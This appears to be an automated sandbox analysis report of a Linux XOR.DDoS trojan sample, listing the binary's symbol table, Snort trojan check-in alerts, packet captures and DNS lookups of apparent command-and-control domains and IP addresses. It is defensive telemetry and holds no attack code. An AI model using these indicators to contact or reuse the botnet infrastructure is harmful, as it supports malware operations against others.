__getclktck			.symtab	0x806ac40	20	FUNC	<unknown>	DEFAULT	3
__getcwd			.symtab	0x808b5f0	234	FUNC	<unknown>	DEFAULT	3
__getdelim			.symtab	0x8083eb0	624	FUNC	<unknown>	DEFAULT	3
__getdents			.symtab	0x80674a0	159	FUNC	<unknown>	DEFAULT	3
__getdtablesize			.symtab	0x8069140	41	FUNC	<unknown>	DEFAULT	3
__getegid			.symtab	0x808b560	12	FUNC	<unknown>	DEFAULT	3
__geteuid			.symtab	0x808b540	12	FUNC	<unknown>	DEFAULT	3
__getgid			.symtab	0x808b550	12	FUNC	<unknown>	DEFAULT	3
__gethostname			.symtab	0x809fcc0	140	FUNC	<unknown>	DEFAULT	3
__getpagesize			.symtab	0x8069120	23	FUNC	<unknown>	DEFAULT	3
__getpid			.symtab	0x8067ea0	49	FUNC	<unknown>	DEFAULT	3
__getrlimit			.symtab	0x8069030	54	FUNC	<unknown>	DEFAULT	3
__getsockname			.symtab	0x806ae00	30	FUNC	<unknown>	DEFAULT	3
__getsockopt			.symtab	0x806ae20	30	FUNC	<unknown>	DEFAULT	3
__gettext_extract_plural			.symtab	0x8078660	266	FUNC	<unknown>	DEFAULT	3
__gettext_free_exp			.symtab	0x8077ad0	523	FUNC	<unknown>	DEFAULT	3
__gettext_germanic_plural			.symtab	0x80c2248	20	OBJECT	<unknown>	DEFAULT	7
__gettextparse			.symtab	0x8077dd0	2186	FUNC	<unknown>	DEFAULT	3
__gettimeofday			.symtab	0x8067190	31	FUNC	<unknown>	DEFAULT	3
__gettimeofday_internal			.symtab	0x8067190	31	FUNC	<unknown>	DEFAULT	3
__getuid			.symtab	0x808b530	12	FUNC	<unknown>	DEFAULT	3
__gmon_start__			.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__guess_grouping			.symtab	0x807f2a0	76	FUNC	<unknown>	DEFAULT	3
__hash_string			.symtab	0x8078770	59	FUNC	<unknown>	DEFAULT	3
__i686.get_pc_thunk.bx			.symtab	0x80af81d	0	FUNC	<unknown>	HIDDEN	3
__i686.get_pc_thunk.cx			.symtab	0x80af819	0	FUNC	<unknown>	HIDDEN	3
__inet_aton			.symtab	0x806b260	343	FUNC	<unknown>	DEFAULT	3
__init_array_end			.symtab	0x80cf120	0	NOTYPE	<unknown>	HIDDEN	14
__init_array_start			.symtab	0x80cf120	0	NOTYPE	<unknown>	HIDDEN	14
__init_misc			.symtab	0x806ac60	78	FUNC	<unknown>	DEFAULT	3
__init_sched_fifo_prio			.symtab	0x8053f80	42	FUNC	<unknown>	DEFAULT	3
__initstate			.symtab	0x8056370	112	FUNC	<unknown>	DEFAULT	3
__initstate_r			.symtab	0x8056780	545	FUNC	<unknown>	DEFAULT	3
__ioctl			.symtab	0x80690f0	33	FUNC	<unknown>	DEFAULT	3
__is_smp			.symtab	0x80d6190	4	OBJECT	<unknown>	DEFAULT	22
__isatty			.symtab	0x808b6e0	34	FUNC	<unknown>	DEFAULT	3
__isinf			.symtab	0x80964d0	64	FUNC	<unknown>	DEFAULT	3
__isinfl			.symtab	0x8096540	85	FUNC	<unknown>	DEFAULT	3
__isnan			.symtab	0x8096510	39	FUNC	<unknown>	DEFAULT	3
__isnanl			.symtab	0x80965a0	69	FUNC	<unknown>	DEFAULT	3
__kill			.symtab	0x8055560	31	FUNC	<unknown>	DEFAULT	3
__lchown			.symtab	0x8068d80	57	FUNC	<unknown>	DEFAULT	3
__libc_alloca_cutoff			.symtab	0x806b010	66	FUNC	<unknown>	DEFAULT	3
__libc_argc			.symtab	0x80d6308	4	OBJECT	<unknown>	DEFAULT	22
__libc_argv			.symtab	0x80d630c	4	OBJECT	<unknown>	DEFAULT	22
__libc_calloc			.symtab	0x80639e0	842	FUNC	<unknown>	DEFAULT	3
__libc_check_standard_fds			.symtab	0x8054cd0	459	FUNC	<unknown>	DEFAULT	3
__libc_cleanup_routine			.symtab	0x806b060	27	FUNC	<unknown>	DEFAULT	3
__libc_close			.symtab	0x8053ad0	80	FUNC	<unknown>	DEFAULT	3
__libc_connect			.symtab	0x8053c30	87	FUNC	<unknown>	DEFAULT	3
__libc_csu_fini			.symtab	0x8055120	57	FUNC	<unknown>	DEFAULT	3
__libc_csu_init			.symtab	0x8055160	127	FUNC	<unknown>	DEFAULT	3
__libc_disable_asynccancel			.symtab	0x806b080	50	FUNC	<unknown>	DEFAULT	3
__libc_dlclose			.symtab	0x80945c0	87	FUNC	<unknown>	DEFAULT	3
__libc_dlopen_mode			.symtab	0x8094700	226	FUNC	<unknown>	DEFAULT	3
__libc_dlsym			.symtab	0x8094620	108	FUNC	<unknown>	DEFAULT	3
__libc_dlsym_private			.symtab	0x8094690	108	FUNC	<unknown>	DEFAULT	3
__libc_enable_asynccancel			.symtab	0x806b0c0	98	FUNC	<unknown>	DEFAULT	3
__libc_enable_secure			.symtab	0x80cf140	4	OBJECT	<unknown>	DEFAULT	18
__libc_enable_secure_decided			.symtab	0x80d6304	4	OBJECT	<unknown>	DEFAULT	22
__libc_errno			.symtab	0x14	4	TLS	<unknown>	DEFAULT	14
__libc_fatal			.symtab	0x8059d90	42	FUNC	<unknown>	DEFAULT	3
__libc_fcntl			.symtab	0x8053b70	177	FUNC	<unknown>	DEFAULT	3
__libc_fork			.symtab	0x8067810	535	FUNC	<unknown>	DEFAULT	3
__libc_free			.symtab	0x8065320	410	FUNC	<unknown>	DEFAULT	3
__libc_init_first			.symtab	0x806cba0	133	FUNC	<unknown>	DEFAULT	3
__libc_init_secure			.symtab	0x806cb40	66	FUNC	<unknown>	DEFAULT	3
__libc_longjmp			.symtab	0x8055350	84	FUNC	<unknown>	DEFAULT	3
__libc_lseek			.symtab	0x8053d50	33	FUNC	<unknown>	DEFAULT	3
__libc_lseek64			.symtab	0x806ad50	117	FUNC	<unknown>	DEFAULT	3
__libc_mallinfo			.symtab	0x8060a60	353	FUNC	<unknown>	DEFAULT	3
__libc_malloc			.symtab	0x8063d30	442	FUNC	<unknown>	DEFAULT	3
__libc_malloc_initialized			.symtab	0x80cf9f8	4	OBJECT	<unknown>	DEFAULT	21
__libc_mallopt			.symtab	0x8061150	356	FUNC	<unknown>	DEFAULT	3
__libc_memalign			.symtab	0x8063ef0	467	FUNC	<unknown>	DEFAULT	3
__libc_message			.symtab	0x8059ad0	691	FUNC	<unknown>	DEFAULT	3
__libc_multiple_libcs			.symtab	0x80cfa4c	4	OBJECT	<unknown>	DEFAULT	21
__libc_nanosleep			.symtab	0x80677b0	87	FUNC	<unknown>	DEFAULT	3
__libc_open			.symtab	0x8053d80	91	FUNC	<unknown>	DEFAULT	3
__libc_pause			.symtab	0x8053de0	64	FUNC	<unknown>	DEFAULT	3
__libc_pthread_init			.symtab	0x806b230	45	FUNC	<unknown>	DEFAULT	3
__libc_pvalloc			.symtab	0x80630c0	469	FUNC	<unknown>	DEFAULT	3
__libc_read			.symtab	0x8053a70	91	FUNC	<unknown>	DEFAULT	3
__libc_realloc			.symtab	0x80654c0	1085	FUNC	<unknown>	DEFAULT	3
__libc_recvfrom			.symtab	0x8053c90	87	FUNC	<unknown>	DEFAULT	3
__libc_register_dl_open_hook			.symtab	0x80947f0	125	FUNC	<unknown>	DEFAULT	3
__libc_register_dlfcn_hook			.symtab	0x809e5b0	37	FUNC	<unknown>	DEFAULT	3
__libc_resp			.symtab	0x0	4	TLS	<unknown>	DEFAULT	13
__libc_select			.symtab	0x8069170	115	FUNC	<unknown>	DEFAULT	3
__libc_send			.symtab	0x806ae40	87	FUNC	<unknown>	DEFAULT	3
__libc_sendto			.symtab	0x8053cf0	87	FUNC	<unknown>	DEFAULT	3
__libc_setlocale_lock			.symtab	0x80d58a0	32	OBJECT	<unknown>	DEFAULT	22
__libc_setup_tls			.symtab	0x8054f00	505	FUNC	<unknown>	DEFAULT	3
__libc_sigaction			.symtab	0x8054730	298	FUNC	<unknown>	DEFAULT	3
__libc_siglongjmp			.symtab	0x8055350	84	FUNC	<unknown>	DEFAULT	3
__libc_stack_end			.symtab	0x80cf13c	4	OBJECT	<unknown>	DEFAULT	18
__libc_start_main			.symtab	0x80549b0	763	FUNC	<unknown>	DEFAULT	3
__libc_system			.symtab	0x8057a30	104	FUNC	<unknown>	DEFAULT	3
__libc_thread_freeres			.symtab	0x80b2980	33	FUNC	<unknown>	DEFAULT	5
__libc_tsd_CTYPE_B			.symtab	0x18	4	TLS	<unknown>	DEFAULT	14
__libc_tsd_CTYPE_TOLOWER			.symtab	0x20	4	TLS	<unknown>	DEFAULT	14
__libc_tsd_CTYPE_TOUPPER			.symtab	0x1c	4	TLS	<unknown>	DEFAULT	14
__libc_tsd_LOCALE			.symtab	0x8	4	TLS	<unknown>	DEFAULT	13
__libc_tsd_MALLOC			.symtab	0x24	4	TLS	<unknown>	DEFAULT	14
__libc_valloc			.symtab	0x80632a0	467	FUNC	<unknown>	DEFAULT	3
__libc_waitpid			.symtab	0x8053e20	91	FUNC	<unknown>	DEFAULT	3
__libc_write			.symtab	0x8053a10	91	FUNC	<unknown>	DEFAULT	3
__libc_writev			.symtab	0x808b980	270	FUNC	<unknown>	DEFAULT	3
__libio_codecvt			.symtab	0x80c2e00	120	OBJECT	<unknown>	DEFAULT	7
__libio_translit			.symtab	0x80c2e78	20	OBJECT	<unknown>	DEFAULT	7
__lll_lock_wait			.symtab	0x8053730	48	FUNC	<unknown>	HIDDEN	3
__lll_lock_wait_private			.symtab	0x8053700	42	FUNC	<unknown>	HIDDEN	3
__lll_robust_lock_wait			.symtab	0x80538e0	81	FUNC	<unknown>	HIDDEN	3
__lll_robust_timedlock_wait			.symtab	0x8053940	201	FUNC	<unknown>	HIDDEN	3
__lll_timedlock_wait			.symtab	0x8053760	173	FUNC	<unknown>	HIDDEN	3
__lll_timedwait_tid			.symtab	0x8053870	112	FUNC	<unknown>	HIDDEN	3
__lll_unlock_wake			.symtab	0x8053840	43	FUNC	<unknown>	HIDDEN	3
__lll_unlock_wake_private			.symtab	0x8053810	37	FUNC	<unknown>	HIDDEN	3
__llseek			.symtab	0x806ad50	117	FUNC	<unknown>	DEFAULT	3
__localtime_r			.symtab	0x8086e00	34	FUNC	<unknown>	DEFAULT	3
__longjmp			.symtab	0x80553b0	43	FUNC	<unknown>	DEFAULT	3
__lseek			.symtab	0x8053d50	33	FUNC	<unknown>	DEFAULT	3
__lseek64			.symtab	0x806ad50	117	FUNC	<unknown>	DEFAULT	3
__make_stacks_executable			.symtab	0x8051210	257	FUNC	<unknown>	DEFAULT	3
__mallinfo			.symtab	0x8060a60	353	FUNC	<unknown>	DEFAULT	3
__malloc			.symtab	0x8063d30	442	FUNC	<unknown>	DEFAULT	3
__malloc_check_init			.symtab	0x8060000	121	FUNC	<unknown>	DEFAULT	3
__malloc_get_state			.symtab	0x8064180	428	FUNC	<unknown>	DEFAULT	3
__malloc_hook			.symtab	0x80cf9ec	4	OBJECT	<unknown>	DEFAULT	21
__malloc_initialize_hook			.symtab	0x80d4b40	4	OBJECT	<unknown>	DEFAULT	22
__malloc_set_state			.symtab	0x8060dc0	905	FUNC	<unknown>	DEFAULT	3
__malloc_stats			.symtab	0x8060840	529	FUNC	<unknown>	DEFAULT	3
__malloc_trim			.symtab	0x8060bd0	493	FUNC	<unknown>	DEFAULT	3
__malloc_usable_size			.symtab	0x805f010	52	FUNC	<unknown>	DEFAULT	3
__mallopt			.symtab	0x8061150	356	FUNC	<unknown>	DEFAULT	3
__mbrlen			.symtab	0x8086500	55	FUNC	<unknown>	DEFAULT	3
__mbrtowc			.symtab	0x8086540	407	FUNC	<unknown>	DEFAULT	3
__mbsnrtowcs			.symtab	0x8086ae0	594	FUNC	<unknown>	DEFAULT	3
__memalign			.symtab	0x8063ef0	467	FUNC	<unknown>	DEFAULT	3
__memalign_hook			.symtab	0x80cf9f4	4	OBJECT	<unknown>	DEFAULT	21
__memchr			.symtab	0x8066760	411	FUNC	<unknown>	DEFAULT	3
__mempcpy			.symtab	0x8066a20	68	FUNC	<unknown>	DEFAULT	3
__mkdir			.symtab	0x8068d60	31	FUNC	<unknown>	DEFAULT	3
__mktime_internal			.symtab	0x809f300	2437	FUNC	<unknown>	DEFAULT	3
__mmap			.symtab	0x8069da0	67	FUNC	<unknown>	DEFAULT	3
__mmap64			.symtab	0x8069df0	88	FUNC	<unknown>	DEFAULT	3
__mon_yday			.symtab	0x80c72c0	52	OBJECT	<unknown>	DEFAULT	7
__morecore			.symtab	0x80cf9e8	4	OBJECT	<unknown>	DEFAULT	21
__mpn_add_n			.symtab	0x80aa690	144	FUNC	<unknown>	DEFAULT	3
__mpn_addmul_1			.symtab	0x80aa720	60	FUNC	<unknown>	DEFAULT	3
__mpn_cmp			.symtab	0x8096b60	92	FUNC	<unknown>	DEFAULT	3
__mpn_construct_double			.symtab	0x80aa7a0	86	FUNC	<unknown>	DEFAULT	3
__mpn_construct_float			.symtab	0x80aa760	49	FUNC	<unknown>	DEFAULT	3
__mpn_construct_long_double			.symtab	0x80aa800	71	FUNC	<unknown>	DEFAULT	3
__mpn_divrem			.symtab	0x8096bc0	1112	FUNC	<unknown>	DEFAULT	3
__mpn_extract_double			.symtab	0x80988b0	244	FUNC	<unknown>	DEFAULT	3
__mpn_extract_long_double			.symtab	0x80989b0	279	FUNC	<unknown>	DEFAULT	3
__mpn_impn_mul_n			.symtab	0x8097670	1989	FUNC	<unknown>	DEFAULT	3
__mpn_impn_mul_n_basecase			.symtab	0x8097570	247	FUNC	<unknown>	DEFAULT	3
__mpn_impn_sqr_n			.symtab	0x8097e40	1829	FUNC	<unknown>	DEFAULT	3
__mpn_impn_sqr_n_basecase			.symtab	0x8097470	250	FUNC	<unknown>	DEFAULT	3
__mpn_lshift			.symtab	0x8097020	87	FUNC	<unknown>	DEFAULT	3
__mpn_mul			.symtab	0x80970e0	843	FUNC	<unknown>	DEFAULT	3
__mpn_mul_1			.symtab	0x8097430	57	FUNC	<unknown>	DEFAULT	3
__mpn_mul_n			.symtab	0x8098570	620	FUNC	<unknown>	DEFAULT	3
__mpn_rshift			.symtab	0x8097080	87	FUNC	<unknown>	DEFAULT	3
__mpn_sub_n			.symtab	0x80987e0	144	FUNC	<unknown>	DEFAULT	3
__mpn_submul_1			.symtab	0x8098870	60	FUNC	<unknown>	DEFAULT	3
__mprotect			.symtab	0x8069e70	33	FUNC	<unknown>	DEFAULT	3
__mremap			.symtab	0x806add0	45	FUNC	<unknown>	DEFAULT	3
__munmap			.symtab	0x8069e50	31	FUNC	<unknown>	DEFAULT	3
__nanosleep			.symtab	0x80677b0	87	FUNC	<unknown>	DEFAULT	3
__nanosleep_nocancel			.symtab	0x80677ba	31	FUNC	<unknown>	DEFAULT	3
__new_exitfn			.symtab	0x8056000	274	FUNC	<unknown>	DEFAULT	3
__new_exitfn_called			.symtab	0x80d6240	8	OBJECT	<unknown>	DEFAULT	22
__new_fclose			.symtab	0x8057df0	439	FUNC	<unknown>	DEFAULT	3
__new_fopen			.symtab	0x80582a0	34	FUNC	<unknown>	DEFAULT	3
__new_getrlimit			.symtab	0x8069030	54	FUNC	<unknown>	DEFAULT	3
__new_sem_init			.symtab	0x8053320	84	FUNC	<unknown>	DEFAULT	3
__new_sem_post			.symtab	0x8053420	78	FUNC	<unknown>	DEFAULT	3
__new_sem_wait			.symtab	0x8053380	141	FUNC	<unknown>	DEFAULT	3
__nptl_create_event			.symtab	0x8054700	5	FUNC	<unknown>	DEFAULT	3
__nptl_deallocate_tsd			.symtab	0x8050980	278	FUNC	<unknown>	DEFAULT	3
__nptl_death_event			.symtab	0x8054710	5	FUNC	<unknown>	DEFAULT	3
__nptl_initial_report_events			.symtab	0x80d20cc	1	OBJECT	<unknown>	DEFAULT	22
__nptl_last_event			.symtab	0x80d20c0	4	OBJECT	<unknown>	DEFAULT	22
__nptl_nthreads			.symtab	0x80cf4f0	4	OBJECT	<unknown>	DEFAULT	21
__nptl_setxid			.symtab	0x8050e60	941	FUNC	<unknown>	DEFAULT	3
__nptl_threads_events			.symtab	0x80d20b8	8	OBJECT	<unknown>	DEFAULT	22
__offtime			.symtab	0x809f010	746	FUNC	<unknown>	DEFAULT	3
__open			.symtab	0x8053d80	91	FUNC	<unknown>	DEFAULT	3
__open_nocancel			.symtab	0x8053d8a	33	FUNC	<unknown>	DEFAULT	3
__opendir			.symtab	0x80672a0	220	FUNC	<unknown>	DEFAULT	3
__overflow			.symtab	0x805d810	41	FUNC	<unknown>	DEFAULT	3
__parse_one_specmb			.symtab	0x8083480	1320	FUNC	<unknown>	DEFAULT	3
__pause_nocancel			.symtab	0x8053dea	19	FUNC	<unknown>	DEFAULT	3
__posix_memalign			.symtab	0x80640d0	111	FUNC	<unknown>	DEFAULT	3
__preinit_array_end			.symtab	0x80cf120	0	NOTYPE	<unknown>	HIDDEN	14
__preinit_array_start			.symtab	0x80cf120	0	NOTYPE	<unknown>	HIDDEN	14
__printf_arginfo_table			.symtab	0x80d63e0	4	OBJECT	<unknown>	DEFAULT	23
__printf_fp			.symtab	0x807f620	9363	FUNC	<unknown>	DEFAULT	3
__printf_fphex			.symtab	0x8081b50	6104	FUNC	<unknown>	DEFAULT	3

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/14/22-21:21:23.655167	TCP	2021336	ET TROJAN DDoS.XOR Checkin via HTTP	57652	80	192.168.2.23	54.36.15.99
03/14/22-21:21:49.213440	TCP	2020381	ET TROJAN DDoS.XOR Checkin	45968	53	192.168.2.23	54.36.15.99

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2022 21:21:23.622404099 CET	57652	80	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:23.630692005 CET	38648	53	192.168.2.23	51.89.52.12
Mar 14, 2022 21:21:23.648276091 CET	53	38648	51.89.52.12	192.168.2.23
Mar 14, 2022 21:21:23.649422884 CET	80	57652	54.36.15.99	192.168.2.23
Mar 14, 2022 21:21:23.649502993 CET	57652	80	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:23.655167103 CET	57652	80	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:23.682240963 CET	80	57652	54.36.15.99	192.168.2.23
Mar 14, 2022 21:21:23.685058117 CET	57652	80	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:23.685209990 CET	57652	80	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:23.704276085 CET	33252	53	192.168.2.23	79.137.1.132
Mar 14, 2022 21:21:23.712024927 CET	80	57652	54.36.15.99	192.168.2.23
Mar 14, 2022 21:21:24.497015953 CET	42836	443	192.168.2.23	91.189.91.43
Mar 14, 2022 21:21:24.721009016 CET	33252	53	192.168.2.23	79.137.1.132
Mar 14, 2022 21:21:25.008999109 CET	42516	80	192.168.2.23	109.202.202.202
Mar 14, 2022 21:21:26.740488052 CET	33252	53	192.168.2.23	79.137.1.132
Mar 14, 2022 21:21:28.727725983 CET	41926	53	192.168.2.23	54.36.145.106
Mar 14, 2022 21:21:29.744688034 CET	41926	53	192.168.2.23	54.36.145.106
Mar 14, 2022 21:21:31.760557890 CET	41926	53	192.168.2.23	54.36.145.106
Mar 14, 2022 21:21:33.751405001 CET	38656	53	192.168.2.23	51.89.52.12
Mar 14, 2022 21:21:33.769083023 CET	53	38656	51.89.52.12	192.168.2.23
Mar 14, 2022 21:21:33.826284885 CET	46646	53	192.168.2.23	46.105.84.190
Mar 14, 2022 21:21:34.832458973 CET	46646	53	192.168.2.23	46.105.84.190
Mar 14, 2022 21:21:36.848268032 CET	46646	53	192.168.2.23	46.105.84.190
Mar 14, 2022 21:21:38.848695040 CET	53168	53	192.168.2.23	176.31.91.137
Mar 14, 2022 21:21:39.344187021 CET	43928	443	192.168.2.23	91.189.91.42
Mar 14, 2022 21:21:39.856102943 CET	53168	53	192.168.2.23	176.31.91.137
Mar 14, 2022 21:21:41.871975899 CET	53168	53	192.168.2.23	176.31.91.137
Mar 14, 2022 21:21:43.871958017 CET	38664	53	192.168.2.23	51.89.52.12
Mar 14, 2022 21:21:43.890574932 CET	53	38664	51.89.52.12	192.168.2.23
Mar 14, 2022 21:21:43.944986105 CET	33268	53	192.168.2.23	79.137.1.132
Mar 14, 2022 21:21:44.975863934 CET	33268	53	192.168.2.23	79.137.1.132
Mar 14, 2022 21:21:46.991651058 CET	33268	53	192.168.2.23	79.137.1.132
Mar 14, 2022 21:21:48.968547106 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:48.995480061 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:21:48.995608091 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:49.139600039 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:49.213330984 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:21:49.213439941 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:49.241010904 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:21:49.241142988 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:51.631386042 CET	42836	443	192.168.2.23	91.189.91.43
Mar 14, 2022 21:21:53.386679888 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:21:53.386805058 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:21:55.727094889 CET	42516	80	192.168.2.23	109.202.202.202
Mar 14, 2022 21:22:03.418034077 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:22:03.418122053 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:22:13.450350046 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:22:13.450496912 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:22:20.301644087 CET	43928	443	192.168.2.23	91.189.91.42
Mar 14, 2022 21:22:23.482651949 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:22:23.482786894 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:22:28.437282085 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:22:28.437457085 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:22:38.468614101 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:22:38.468842983 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:22:48.500973940 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:22:48.501106024 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:22:58.533281088 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:22:58.533417940 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:23:03.488044024 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:23:03.488234997 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:23:13.519325972 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:23:13.519428015 CET	45968	53	192.168.2.23	54.36.15.99
Mar 14, 2022 21:23:23.552159071 CET	53	45968	54.36.15.99	192.168.2.23
Mar 14, 2022 21:23:23.552258015 CET	45968	53	192.168.2.23	54.36.15.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2022 21:21:23.603575945 CET	51855	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:23.613936901 CET	37267	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:23.622210026 CET	53	51855	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:23.630464077 CET	53	37267	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:23.648638010 CET	46479	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:23.667179108 CET	53	46479	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:23.669755936 CET	41004	53	192.168.2.23	8.8.4.4
Mar 14, 2022 21:21:23.685904980 CET	53	41004	8.8.4.4	192.168.2.23
Mar 14, 2022 21:21:23.686080933 CET	51336	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:23.704147100 CET	53	51336	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:28.709108114 CET	58147	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:28.727509975 CET	53	58147	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:33.732633114 CET	57580	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:33.751255989 CET	53	57580	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:33.769275904 CET	40191	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:33.788367033 CET	53	40191	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:33.788548946 CET	37846	53	192.168.2.23	8.8.4.4
Mar 14, 2022 21:21:33.807801008 CET	53	37846	8.8.4.4	192.168.2.23
Mar 14, 2022 21:21:33.808006048 CET	44264	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:33.826148987 CET	53	44264	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:38.831947088 CET	45199	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:38.848433971 CET	53	45199	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:43.853449106 CET	40716	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:43.871815920 CET	53	40716	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:43.890737057 CET	34729	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:43.909188032 CET	53	34729	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:43.909339905 CET	34841	53	192.168.2.23	8.8.4.4
Mar 14, 2022 21:21:43.926388979 CET	53	34841	8.8.4.4	192.168.2.23
Mar 14, 2022 21:21:43.926578999 CET	33699	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:43.944708109 CET	53	33699	8.8.8.8	192.168.2.23
Mar 14, 2022 21:21:48.949882984 CET	55635	53	192.168.2.23	8.8.8.8
Mar 14, 2022 21:21:48.968261957 CET	53	55635	8.8.8.8	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Mar 14, 2022 21:21:23.603575945 CET	192.168.2.23	8.8.8.8	0xeb81	Standard query (0)	www1.gggatat456.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.613936901 CET	192.168.2.23	8.8.8.8	0xe606	Standard query (0)	p5.lpjulidny7.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.648638010 CET	192.168.2.23	8.8.8.8	0x4e5b	Standard query (0)	p5.dddgata789.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.669755936 CET	192.168.2.23	8.8.4.4	0x797f	Standard query (0)	p5.dddgata789.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.686080933 CET	192.168.2.23	8.8.8.8	0x4e42	Standard query (0)	ppp.xxxatat456.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:28.709108114 CET	192.168.2.23	8.8.8.8	0x61b9	Standard query (0)	ppp.gggatat456.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.732633114 CET	192.168.2.23	8.8.8.8	0xcaa2	Standard query (0)	p5.lpjulidny7.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.769275904 CET	192.168.2.23	8.8.8.8	0x5786	Standard query (0)	p5.dddgata789.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.788548946 CET	192.168.2.23	8.8.4.4	0xc987	Standard query (0)	p5.dddgata789.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:33.808006048 CET	192.168.2.23	8.8.8.8	0xd172	Standard query (0)	ppp.xxxatat456.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:38.831947088 CET	192.168.2.23	8.8.8.8	0xcffc	Standard query (0)	ppp.gggatat456.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.853449106 CET	192.168.2.23	8.8.8.8	0xd52	Standard query (0)	p5.lpjulidny7.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.890737057 CET	192.168.2.23	8.8.8.8	0x3993	Standard query (0)	p5.dddgata789.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.909339905 CET	192.168.2.23	8.8.4.4	0x51e0	Standard query (0)	p5.dddgata789.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:43.926578999 CET	192.168.2.23	8.8.8.8	0x6b01	Standard query (0)	ppp.xxxatat456.com	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:48.949882984 CET	192.168.2.23	8.8.8.8	0x4c64	Standard query (0)	ppp.gggatat456.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Mar 14, 2022 21:21:23.622210026 CET	8.8.8.8	192.168.2.23	0xeb81	No error (0)	www1.gggatat456.com		54.36.15.99	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.667179108 CET	8.8.8.8	192.168.2.23	0x4e5b	Name error (3)	p5.dddgata789.com	none	none	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.685904980 CET	8.8.4.4	192.168.2.23	0x797f	Name error (3)	p5.dddgata789.com	none	none	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.704147100 CET	8.8.8.8	192.168.2.23	0x4e42	No error (0)	ppp.xxxatat456.com		79.137.1.132	A (IP address)	IN (0x0001)
Mar 14, 2022 21:21:23.704147100 CET	8.8.8.8	192.168.2.23	0x4e42	No error (0)	ppp.xxxatat456.com		46.105.84.188	A (IP address)	IN (0x0001)
